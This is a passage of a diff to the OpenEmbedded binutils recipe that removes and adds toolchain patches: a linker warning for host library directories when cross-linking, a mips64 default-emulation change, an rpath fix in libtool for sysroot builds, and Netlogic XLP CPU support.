++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
diff --git a/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch b/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch
deleted file mode 100644
index 2356c6a60f..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch
+++ /dev/null
@@ -1,287 +0,0 @@
-From 413075afbdb16e7cc05511682ca9e3c880acb5a7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 15 Jan 2016 06:31:09 +0000
-Subject: [PATCH 08/17] warn for uses of system directories when cross linking
-
-2008-07-02 Joseph Myers <joseph@codesourcery.com>
-
- ld/
- * ld.h (args_type): Add error_poison_system_directories.
- * ld.texinfo (--error-poison-system-directories): Document.
- * ldfile.c (ldfile_add_library_path): Check
- command_line.error_poison_system_directories.
- * ldmain.c (main): Initialize
- command_line.error_poison_system_directories.
- * lexsup.c (enum option_values): Add
- OPTION_ERROR_POISON_SYSTEM_DIRECTORIES.
- (ld_options): Add --error-poison-system-directories.
- (parse_args): Handle new option.
-
-2007-06-13 Joseph Myers <joseph@codesourcery.com>
-
- ld/
- * config.in: Regenerate.
- * ld.h (args_type): Add poison_system_directories.
- * ld.texinfo (--no-poison-system-directories): Document.
- * ldfile.c (ldfile_add_library_path): Check
- command_line.poison_system_directories.
- * ldmain.c (main): Initialize
- command_line.poison_system_directories.
- * lexsup.c (enum option_values): Add
- OPTION_NO_POISON_SYSTEM_DIRECTORIES.
- (ld_options): Add --no-poison-system-directories.
- (parse_args): Handle new option.
-
-2007-04-20 Joseph Myers <joseph@codesourcery.com>
-
- Merge from Sourcery G++ binutils 2.17:
-
- 2007-03-20 Joseph Myers <joseph@codesourcery.com>
- Based on patch by Mark Hatle <mark.hatle@windriver.com>.
- ld/
- * configure.in (--enable-poison-system-directories): New option.
- * configure, config.in: Regenerate.
- * ldfile.c (ldfile_add_library_path): If
- ENABLE_POISON_SYSTEM_DIRECTORIES defined, warn for use of /lib,
- /usr/lib, /usr/local/lib or /usr/X11R6/lib.
-
-Upstream-Status: Pending
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ld/config.in | 3 +++
- ld/configure | 16 ++++++++++++++++
- ld/configure.ac | 10 ++++++++++
- ld/ld.h | 8 ++++++++
- ld/ld.texi | 12 ++++++++++++
- ld/ldfile.c | 17 +++++++++++++++++
- ld/ldlex.h | 5 +++++
- ld/ldmain.c | 2 ++
- ld/lexsup.c | 27 +++++++++++++++++++++++++++
- 9 files changed, 100 insertions(+)
-
-diff --git a/ld/config.in b/ld/config.in
-index f1712107367..308e0173c16 100644
---- a/ld/config.in
-+++ b/ld/config.in
-@@ -40,6 +40,9 @@
- language is requested. */
- #undef ENABLE_NLS
-
-+/* Define to warn for use of native system library directories */
-+#undef ENABLE_POISON_SYSTEM_DIRECTORIES
-+
- /* Additional extension a shared object might have. */
- #undef EXTRA_SHLIB_EXTENSION
-
-diff --git a/ld/configure b/ld/configure
-index f08ce9969ea..1c872c0db5f 100755
---- a/ld/configure
-+++ b/ld/configure
-@@ -826,6 +826,7 @@ with_lib_path
- enable_targets
- enable_64_bit_bfd
- with_sysroot
-+enable_poison_system_directories
- enable_gold
- enable_got
- enable_compressed_debug_sections
-@@ -1493,6 +1494,8 @@ Optional Features:
- --disable-largefile omit support for large files
- --enable-targets alternative target configurations
- --enable-64-bit-bfd 64-bit support (on hosts with narrower word sizes)
-+ --enable-poison-system-directories
-+ warn for use of native system library directories
- --enable-gold[=ARG] build gold [ARG={default,yes,no}]
- --enable-got=<type> GOT handling scheme (target, single, negative,
- multigot)
-@@ -15793,6 +15796,19 @@ fi
-
-
-
-+# Check whether --enable-poison-system-directories was given.
-+if test "${enable_poison_system_directories+set}" = set; then :
-+ enableval=$enable_poison_system_directories;
-+else
-+ enable_poison_system_directories=no
-+fi
-+
-+if test "x${enable_poison_system_directories}" = "xyes"; then
-+
-+$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
-+
-+fi
-+
- # Check whether --enable-gold was given.
- if test "${enable_gold+set}" = set; then :
- enableval=$enable_gold; case "${enableval}" in
-diff --git a/ld/configure.ac b/ld/configure.ac
-index 5a4938afdb0..dbbbde74b04 100644
---- a/ld/configure.ac
-+++ b/ld/configure.ac
-@@ -94,6 +94,16 @@ AC_SUBST(use_sysroot)
- AC_SUBST(TARGET_SYSTEM_ROOT)
- AC_SUBST(TARGET_SYSTEM_ROOT_DEFINE)
-
-+AC_ARG_ENABLE([poison-system-directories],
-+ AS_HELP_STRING([--enable-poison-system-directories],
-+ [warn for use of native system library directories]),,
-+ [enable_poison_system_directories=no])
-+if test "x${enable_poison_system_directories}" = "xyes"; then
-+ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
-+ [1],
-+ [Define to warn for use of native system library directories])
-+fi
-+
- dnl Use --enable-gold to decide if this linker should be the default.
- dnl "install_as_default" is set to false if gold is the default linker.
- dnl "installed_linker" is the installed BFD linker name.
-diff --git a/ld/ld.h b/ld/ld.h
-index 1790dc81a66..73f832eb169 100644
---- a/ld/ld.h
-+++ b/ld/ld.h
-@@ -166,6 +166,14 @@ typedef struct
- in the linker script. */
- bfd_boolean force_group_allocation;
-
-+ /* If TRUE (the default) warn for uses of system directories when
-+ cross linking. */
-+ bfd_boolean poison_system_directories;
-+
-+ /* If TRUE (default FALSE) give an error for uses of system
-+ directories when cross linking instead of a warning. */
-+ bfd_boolean error_poison_system_directories;
-+
- /* Big or little endian as set on command line. */
- enum endian_enum endian;
-
-diff --git a/ld/ld.texi b/ld/ld.texi
-index 2a93e9456ac..3eeb70607fd 100644
---- a/ld/ld.texi
-+++ b/ld/ld.texi
-@@ -2655,6 +2655,18 @@ string identifying the original linked file does not change.
-
- Passing @code{none} for @var{style} disables the setting from any
- @code{--build-id} options earlier on the command line.
-+
-+@kindex --no-poison-system-directories
-+@item --no-poison-system-directories
-+Do not warn for @option{-L} options using system directories such as
-+@file{/usr/lib} when cross linking. This option is intended for use
-+in chroot environments when such directories contain the correct
-+libraries for the target system rather than the host.
-+
-+@kindex --error-poison-system-directories
-+@item --error-poison-system-directories
-+Give an error instead of a warning for @option{-L} options using
-+system directories when cross linking.
- @end table
-
- @c man end
-diff --git a/ld/ldfile.c b/ld/ldfile.c
-index e39170b5d94..fadc248a140 100644
---- a/ld/ldfile.c
-+++ b/ld/ldfile.c
-@@ -117,6 +117,23 @@ ldfile_add_library_path (const char *name, bfd_boolean cmdline)
- new_dirs->name = concat (ld_sysroot, name + strlen ("$SYSROOT"), (const char *) NULL);
- else
- new_dirs->name = xstrdup (name);
-+
-+#ifdef ENABLE_POISON_SYSTEM_DIRECTORIES
-+ if (command_line.poison_system_directories
-+ && ((!strncmp (name, "/lib", 4))
-+ || (!strncmp (name, "/usr/lib", 8))
-+ || (!strncmp (name, "/usr/local/lib", 14))
-+ || (!strncmp (name, "/usr/X11R6/lib", 14))))
-+ {
-+ if (command_line.error_poison_system_directories)
-+ einfo (_("%X%P: error: library search path \"%s\" is unsafe for "
-+ "cross-compilation\n"), name);
-+ else
-+ einfo (_("%P: warning: library search path \"%s\" is unsafe for "
-+ "cross-compilation\n"), name);
-+ }
-+#endif
-+
- }
-
- /* Try to open a BFD for a lang_input_statement. */
-diff --git a/ld/ldlex.h b/ld/ldlex.h
-index 5ea083ebeb3..941dc5f3dc8 100644
---- a/ld/ldlex.h
-+++ b/ld/ldlex.h
-@@ -155,6 +155,11 @@ enum option_values
- OPTION_NON_CONTIGUOUS_REGIONS,
- OPTION_NON_CONTIGUOUS_REGIONS_WARNINGS,
- OPTION_DEPENDENCY_FILE,
-+ OPTION_CTF_VARIABLES,
-+ OPTION_NO_CTF_VARIABLES,
-+ OPTION_CTF_SHARE_TYPES,
-+ OPTION_NO_POISON_SYSTEM_DIRECTORIES,
-+ OPTION_ERROR_POISON_SYSTEM_DIRECTORIES,
- };
-
- /* The initial parser states. */
-diff --git a/ld/ldmain.c b/ld/ldmain.c
-index f5c5a336320..516ba0360e2 100644
---- a/ld/ldmain.c
-+++ b/ld/ldmain.c
-@@ -322,6 +322,8 @@ main (int argc, char **argv)
- command_line.warn_mismatch = TRUE;
- command_line.warn_search_mismatch = TRUE;
- command_line.check_section_addresses = -1;
-+ command_line.poison_system_directories = TRUE;
-+ command_line.error_poison_system_directories = FALSE;
-
- /* We initialize DEMANGLING based on the environment variable
- COLLECT_NO_DEMANGLE. The gcc collect2 program will demangle the
-diff --git a/ld/lexsup.c b/ld/lexsup.c
-index 58c6c078325..879e7bb7658 100644
---- a/ld/lexsup.c
-+++ b/ld/lexsup.c
-@@ -572,6 +572,26 @@ static const struct ld_option ld_options[] =
- { {"no-print-map-discarded", no_argument, NULL, OPTION_NO_PRINT_MAP_DISCARDED},
- '\0', NULL, N_("Do not show discarded sections in map file output"),
- TWO_DASHES },
-+ { {"ctf-variables", no_argument, NULL, OPTION_CTF_VARIABLES},
-+ '\0', NULL, N_("Emit names and types of static variables in CTF"),
-+ TWO_DASHES },
-+ { {"no-ctf-variables", no_argument, NULL, OPTION_NO_CTF_VARIABLES},
-+ '\0', NULL, N_("Do not emit names and types of static variables in CTF"),
-+ TWO_DASHES },
-+ { {"ctf-share-types=<method>", required_argument, NULL,
-+ OPTION_CTF_SHARE_TYPES},
-+ '\0', NULL, N_("How to share CTF types between translation units.\n"
-+ " <method> is: share-unconflicted (default),\n"
-+ " share-duplicated"),
-+ TWO_DASHES },
-+ { {"no-poison-system-directories", no_argument, NULL,
-+ OPTION_NO_POISON_SYSTEM_DIRECTORIES},
-+ '\0', NULL, N_("Do not warn for -L options using system directories"),
-+ TWO_DASHES },
-+ { {"error-poison-system-directories", no_argument, NULL,
-+ + OPTION_ERROR_POISON_SYSTEM_DIRECTORIES},
-+ '\0', NULL, N_("Give an error for -L options using system directories"),
-+ TWO_DASHES },
- };
-
- #define OPTION_COUNT ARRAY_SIZE (ld_options)
-@@ -1632,6 +1652,13 @@ parse_args (unsigned argc, char **argv)
-
- case OPTION_PRINT_MAP_DISCARDED:
- config.print_map_discarded = TRUE;
-+
-+ case OPTION_NO_POISON_SYSTEM_DIRECTORIES:
-+ command_line.poison_system_directories = FALSE;
-+ break;
-+
-+ case OPTION_ERROR_POISON_SYSTEM_DIRECTORIES:
-+ command_line.error_poison_system_directories = TRUE;
- break;
-
- case OPTION_DEPENDENCY_FILE:
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0009-Change-default-emulation-for-mips64-linux.patch b/meta/recipes-devtools/binutils/binutils/0009-Change-default-emulation-for-mips64-linux.patch
deleted file mode 100644
index fb5276e183..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0009-Change-default-emulation-for-mips64-linux.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 13a67e9040c01abd284fe506471e0eab668ee3dc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:44:14 +0000
-Subject: [PATCH 09/17] Change default emulation for mips64*-*-linux
-
-we change the default emulations to be N64 instead of N32
-
-Upstream-Status: Inappropriate [ OE configuration Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- bfd/config.bfd | 8 ++++----
- ld/configure.tgt | 8 ++++----
- 2 files changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/bfd/config.bfd b/bfd/config.bfd
-index 14523caf0c5..e5233cd1f7e 100644
---- a/bfd/config.bfd
-+++ b/bfd/config.bfd
-@@ -894,12 +894,12 @@ case "${targ}" in
- targ_selvecs="mips_elf32_le_vec mips_elf64_be_vec mips_elf64_le_vec mips_ecoff_be_vec mips_ecoff_le_vec"
- ;;
- mips64*el-*-linux*)
-- targ_defvec=mips_elf32_ntrad_le_vec
-- targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_trad_le_vec mips_elf32_trad_be_vec mips_elf64_trad_le_vec mips_elf64_trad_be_vec"
-+ targ_defvec=mips_elf64_trad_le_vec
-+ targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_ntrad_le_vec mips_elf32_trad_le_vec mips_elf32_trad_be_vec mips_elf64_trad_be_vec"
- ;;
- mips64*-*-linux*)
-- targ_defvec=mips_elf32_ntrad_be_vec
-- targ_selvecs="mips_elf32_ntrad_le_vec mips_elf32_trad_be_vec mips_elf32_trad_le_vec mips_elf64_trad_be_vec mips_elf64_trad_le_vec"
-+ targ_defvec=mips_elf64_trad_be_vec
-+ targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_ntrad_be_vec mips_elf32_trad_be_vec mips_elf32_trad_le_vec mips_elf64_trad_le_vec"
- ;;
- mips*el-*-linux*)
- targ_defvec=mips_elf32_trad_le_vec
-diff --git a/ld/configure.tgt b/ld/configure.tgt
-index 87c7d9a4cad..9b4bf2ca964 100644
---- a/ld/configure.tgt
-+++ b/ld/configure.tgt
-@@ -531,12 +531,12 @@ mips*-*-vxworks*) targ_emul=elf32ebmipvxworks
- ;;
- mips*-*-windiss) targ_emul=elf32mipswindiss
- ;;
--mips64*el-*-linux-*) targ_emul=elf32ltsmipn32
-- targ_extra_emuls="elf32btsmipn32 elf32ltsmip elf32btsmip elf64ltsmip elf64btsmip"
-+mips64*el-*-linux-*) targ_emul=elf64ltsmip
-+ targ_extra_emuls="elf32btsmipn32 elf32ltsmipn32 elf32ltsmip elf32btsmip elf64btsmip"
- targ_extra_libpath=$targ_extra_emuls
- ;;
--mips64*-*-linux-*) targ_emul=elf32btsmipn32
-- targ_extra_emuls="elf32ltsmipn32 elf32btsmip elf32ltsmip elf64btsmip elf64ltsmip"
-+mips64*-*-linux-*) targ_emul=elf64btsmip
-+ targ_extra_emuls="elf32btsmipn32 elf32ltsmipn32 elf32btsmip elf32ltsmip elf64ltsmip"
- targ_extra_libpath=$targ_extra_emuls
- ;;
- mips*el-*-linux-*) targ_emul=elf32ltsmip
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch b/meta/recipes-devtools/binutils/binutils/0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
new file mode 100644
index 0000000000..50201fb6b6
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
@@ -0,0 +1,49 @@
+From c9e810840d95554046b7132e3e2c98bf99cb2d89 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 2 Mar 2015 01:42:38 +0000
+Subject: [PATCH] Fix rpath in libtool when sysroot is enabled
+
+Enabling sysroot support in libtool exposed a bug where the final
+library had an RPATH encoded into it which still pointed to the
+sysroot. This works around the issue until it gets sorted out
+upstream.
+
+Fix suggested by Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Scott Garman <scott.a.garman@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltmain.sh | 10 ++++++++--
+ 1 file changed, 8 insertions(+), 2 deletions(-)
+
+diff --git a/ltmain.sh b/ltmain.sh
+index 7f7104ffc82..f59eb4aa631 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -8035,9 +8035,11 @@ EOF
+ test "$opt_mode" != relink && rpath="$compile_rpath$rpath"
+ for libdir in $rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+- func_replace_sysroot "$libdir"
+- libdir=$func_replace_sysroot_result
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs="$libdir"
+ else
+@@ -8770,6 +8772,10 @@ EOF
+ hardcode_libdirs=
+ for libdir in $compile_rpath $finalize_rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs="$libdir"
diff --git a/meta/recipes-devtools/binutils/binutils/0010-Add-support-for-Netlogic-XLP.patch b/meta/recipes-devtools/binutils/binutils/0010-Add-support-for-Netlogic-XLP.patch
deleted file mode 100644
index 277db4ec5c..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0010-Add-support-for-Netlogic-XLP.patch
+++ /dev/null
@@ -1,409 +0,0 @@
-From 69ab45c16f80f18fa78121f6e774750b9e9a200b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 14 Feb 2016 17:06:19 +0000
-Subject: [PATCH 10/17] Add support for Netlogic XLP
-
-Patch From: Nebu Philips <nphilips@netlogicmicro.com>
-
-Using the mipsisa64r2nlm target, add support for XLP from
-Netlogic. Also, update vendor name to NLM wherever applicable.
-
-Use 0x00000080 for INSN_XLP, the value 0x00000040 has already been
-assigned to INSN_OCTEON3
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Baoshan Pang <baoshan.pang@windriver.com>
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- bfd/aoutx.h | 1 +
- bfd/archures.c | 1 +
- bfd/bfd-in2.h | 1 +
- bfd/config.bfd | 5 +++++
- bfd/cpu-mips.c | 6 ++++--
- bfd/elfxx-mips.c | 8 ++++++++
- binutils/readelf.c | 1 +
- gas/config/tc-mips.c | 4 +++-
- gas/configure | 3 +++
- gas/configure.ac | 3 +++
- include/elf/mips.h | 1 +
- include/opcode/mips.h | 6 ++++++
- ld/configure.tgt | 3 +++
- opcodes/mips-dis.c | 12 +++++-------
- opcodes/mips-opc.c | 31 ++++++++++++++++++++-----------
- 15 files changed, 65 insertions(+), 21 deletions(-)
-
-diff --git a/bfd/aoutx.h b/bfd/aoutx.h
-index d352a1a3e44..2e2c3c1af86 100644
---- a/bfd/aoutx.h
-+++ b/bfd/aoutx.h
-@@ -810,6 +810,7 @@ NAME (aout, machine_type) (enum bfd_architecture arch,
- case bfd_mach_mipsisa64r6:
- case bfd_mach_mips_sb1:
- case bfd_mach_mips_xlr:
-+ case bfd_mach_mips_xlp:
- /* FIXME: These should be MIPS3, MIPS4, MIPS16, MIPS32, etc. */
- arch_flags = M_MIPS2;
- break;
-diff --git a/bfd/archures.c b/bfd/archures.c
-index 551ec8732f0..2665b378623 100644
---- a/bfd/archures.c
-+++ b/bfd/archures.c
-@@ -185,6 +185,7 @@ DESCRIPTION
- .#define bfd_mach_mips_octeon3 6503
- .#define bfd_mach_mips_xlr 887682 {* decimal 'XLR'. *}
- .#define bfd_mach_mips_interaptiv_mr2 736550 {* decimal 'IA2'. *}
-+.#define bfd_mach_mips_xlp 887680 {* decimal 'XLP'. *}
- .#define bfd_mach_mipsisa32 32
- .#define bfd_mach_mipsisa32r2 33
- .#define bfd_mach_mipsisa32r3 34
-diff --git a/bfd/bfd-in2.h b/bfd/bfd-in2.h
-index 35ef4d755bb..48db00af80b 100644
---- a/bfd/bfd-in2.h
-+++ b/bfd/bfd-in2.h
-@@ -1585,6 +1585,7 @@ enum bfd_architecture
- #define bfd_mach_mips_octeon3 6503
- #define bfd_mach_mips_xlr 887682 /* decimal 'XLR'. */
- #define bfd_mach_mips_interaptiv_mr2 736550 /* decimal 'IA2'. */
-+#define bfd_mach_mips_xlp 887680 /* decimal 'XLP'. */
- #define bfd_mach_mipsisa32 32
- #define bfd_mach_mipsisa32r2 33
- #define bfd_mach_mipsisa32r3 34
-diff --git a/bfd/config.bfd b/bfd/config.bfd
-index e5233cd1f7e..2e4ae6bbdff 100644
---- a/bfd/config.bfd
-+++ b/bfd/config.bfd
-@@ -877,6 +877,11 @@ case "${targ}" in
- targ_defvec=mips_elf32_le_vec
- targ_selvecs="mips_elf32_be_vec mips_elf64_be_vec mips_elf64_le_vec"
- ;;
-+ mipsisa64*-*-elf*)
-+ targ_defvec=mips_elf32_trad_be_vec
-+ targ_selvecs="mips_elf32_trad_le_vec mips_elf64_trad_be_vec mips_elf64_trad_le_vec"
-+ want64=true
-+ ;;
- mips*-*-elf* | mips*-*-rtems* | mips*-*-windiss | mips*-*-none)
- targ_defvec=mips_elf32_be_vec
- targ_selvecs="mips_elf32_le_vec mips_elf64_be_vec mips_elf64_le_vec"
-diff --git a/bfd/cpu-mips.c b/bfd/cpu-mips.c
-index 802acb45f1e..fd9ec4c0ad4 100644
---- a/bfd/cpu-mips.c
-+++ b/bfd/cpu-mips.c
-@@ -108,7 +108,8 @@ enum
- I_mipsocteon3,
- I_xlr,
- I_interaptiv_mr2,
-- I_micromips
-+ I_micromips,
-+ I_xlp
- };
-
- #define NN(index) (&arch_info_struct[(index) + 1])
-@@ -163,7 +164,8 @@ static const bfd_arch_info_type arch_info_struct[] =
- N (64, 64, bfd_mach_mips_xlr, "mips:xlr", FALSE, NN(I_xlr)),
- N (32, 32, bfd_mach_mips_interaptiv_mr2, "mips:interaptiv-mr2", FALSE,
- NN(I_interaptiv_mr2)),
-- N (64, 64, bfd_mach_mips_micromips, "mips:micromips", FALSE, NULL)
-+ N (64, 64, bfd_mach_mips_micromips, "mips:micromips", FALSE, NN(I_micromips)),
-+ N (64, 64, bfd_mach_mips_xlp, "mips:xlp", FALSE, NULL)
- };
-
- /* The default architecture is mips:3000, but with a machine number of
-diff --git a/bfd/elfxx-mips.c b/bfd/elfxx-mips.c
-index 160febec94c..4c9499cc2cf 100644
---- a/bfd/elfxx-mips.c
-+++ b/bfd/elfxx-mips.c
-@@ -6982,6 +6982,9 @@ _bfd_elf_mips_mach (flagword flags)
- case E_MIPS_MACH_IAMR2:
- return bfd_mach_mips_interaptiv_mr2;
-
-+ case E_MIPS_MACH_XLP:
-+ return bfd_mach_mips_xlp;
-+
- default:
- switch (flags & EF_MIPS_ARCH)
- {
-@@ -12356,6 +12359,10 @@ mips_set_isa_flags (bfd *abfd)
- val = E_MIPS_ARCH_64R2 | E_MIPS_MACH_OCTEON2;
- break;
-
-+ case bfd_mach_mips_xlp:
-+ val = E_MIPS_ARCH_64R2 | E_MIPS_MACH_XLP;
-+ break;
-+
- case bfd_mach_mipsisa32:
- val = E_MIPS_ARCH_32;
- break;
-@@ -14373,6 +14380,7 @@ static const struct mips_mach_extension mips_mach_extensions[] =
- { bfd_mach_mips_gs264e, bfd_mach_mips_gs464e },
- { bfd_mach_mips_gs464e, bfd_mach_mips_gs464 },
- { bfd_mach_mips_gs464, bfd_mach_mipsisa64r2 },
-+ { bfd_mach_mips_xlp, bfd_mach_mipsisa64r2 },
-
- /* MIPS64 extensions. */
- { bfd_mach_mipsisa64r2, bfd_mach_mipsisa64 },
-diff --git a/binutils/readelf.c b/binutils/readelf.c
-index 6057515a89b..ea119b0b254 100644
---- a/binutils/readelf.c
-+++ b/binutils/readelf.c
-@@ -3483,6 +3483,7 @@ get_machine_flags (Filedata * filedata, unsigned e_flags, unsigned e_machine)
- case E_MIPS_MACH_OCTEON3: strcat (buf, ", octeon3"); break;
- case E_MIPS_MACH_XLR: strcat (buf, ", xlr"); break;
- case E_MIPS_MACH_IAMR2: strcat (buf, ", interaptiv-mr2"); break;
-+ case E_MIPS_MACH_XLP: strcat (buf, ", xlp"); break;
- case 0:
- /* We simply ignore the field in this case to avoid confusion:
- MIPS ELF does not specify EF_MIPS_MACH, it is a GNU
-diff --git a/gas/config/tc-mips.c b/gas/config/tc-mips.c
-index 31acb77d78a..0ead168d51e 100644
---- a/gas/config/tc-mips.c
-+++ b/gas/config/tc-mips.c
-@@ -568,6 +568,7 @@ static int mips_32bitmode = 0;
- || mips_opts.arch == CPU_RM7000 \
- || mips_opts.arch == CPU_VR5500 \
- || mips_opts.micromips \
-+ || mips_opts.arch == CPU_XLP \
- )
-
- /* Whether the processor uses hardware interlocks to protect reads
-@@ -597,6 +598,7 @@ static int mips_32bitmode = 0;
- && mips_opts.isa != ISA_MIPS3) \
- || mips_opts.arch == CPU_R4300 \
- || mips_opts.micromips \
-+ || mips_opts.arch == CPU_XLP \
- )
-
- /* Whether the processor uses hardware interlocks to protect reads
-@@ -20174,7 +20176,7 @@ static const struct mips_cpu_info mips_cpu_info_table[] =
- /* Broadcom XLP.
- XLP is mostly like XLR, with the prominent exception that it is
- MIPS64R2 rather than MIPS64. */
-- { "xlp", 0, 0, ISA_MIPS64R2, CPU_XLR },
-+ { "xlp", 0, 0, ISA_MIPS64R2, CPU_XLP },
-
- /* MIPS 64 Release 6. */
- { "i6400", 0, ASE_VIRT | ASE_MSA, ISA_MIPS64R6, CPU_MIPS64R6},
-diff --git a/gas/configure b/gas/configure
-index 5bccfd9d1b7..d4b13e6fc8b 100755
---- a/gas/configure
-+++ b/gas/configure
-@@ -12722,6 +12722,9 @@ _ACEOF
- mipsisa64r6 | mipsisa64r6el)
- mips_cpu=mips64r6
- ;;
-+ mipsisa64r2nlm | mipsisa64r2nlmel)
-+ mips_cpu=xlp
-+ ;;
- mipstx39 | mipstx39el)
- mips_cpu=r3900
- ;;
-diff --git a/gas/configure.ac b/gas/configure.ac
-index b65108fecb2..ce1f2dad9bc 100644
---- a/gas/configure.ac
-+++ b/gas/configure.ac
-@@ -325,6 +325,9 @@ changequote([,])dnl
- mipsisa64r6 | mipsisa64r6el)
- mips_cpu=mips64r6
- ;;
-+ mipsisa64r2nlm | mipsisa64r2nlmel)
-+ mips_cpu=xlp
-+ ;;
- mipstx39 | mipstx39el)
- mips_cpu=r3900
- ;;
-diff --git a/include/elf/mips.h b/include/elf/mips.h
-index cc08ebd4318..bb518575ce1 100644
---- a/include/elf/mips.h
-+++ b/include/elf/mips.h
-@@ -290,6 +290,7 @@ END_RELOC_NUMBERS (R_MIPS_maxext)
- #define E_MIPS_MACH_SB1 0x008a0000
- #define E_MIPS_MACH_OCTEON 0x008b0000
- #define E_MIPS_MACH_XLR 0x008c0000
-+#define E_MIPS_MACH_XLP 0x008f0000
- #define E_MIPS_MACH_OCTEON2 0x008d0000
- #define E_MIPS_MACH_OCTEON3 0x008e0000
- #define E_MIPS_MACH_5400 0x00910000
-diff --git a/include/opcode/mips.h b/include/opcode/mips.h
-index fd031f37588..a96a44df840 100644
---- a/include/opcode/mips.h
-+++ b/include/opcode/mips.h
-@@ -1260,6 +1260,8 @@ static const unsigned int mips_isa_table[] = {
- #define INSN_XLR 0x00000020
- /* Imagination interAptiv MR2. */
- #define INSN_INTERAPTIV_MR2 0x04000000
-+/* Netlogic XlP instruction */
-+#define INSN_XLP 0x00000080
-
- /* DSP ASE */
- #define ASE_DSP 0x00000001
-@@ -1384,6 +1386,7 @@ static const unsigned int mips_isa_table[] = {
- #define CPU_OCTEON3 6503
- #define CPU_XLR 887682 /* decimal 'XLR' */
- #define CPU_INTERAPTIV_MR2 736550 /* decimal 'IA2' */
-+#define CPU_XLP 887680 /* decimal 'XLP' */
-
- /* Return true if the given CPU is included in INSN_* mask MASK. */
-
-@@ -1461,6 +1464,9 @@ cpu_is_member (int cpu, unsigned int mask)
- return ((mask & INSN_ISA_MASK) == INSN_ISA32R6)
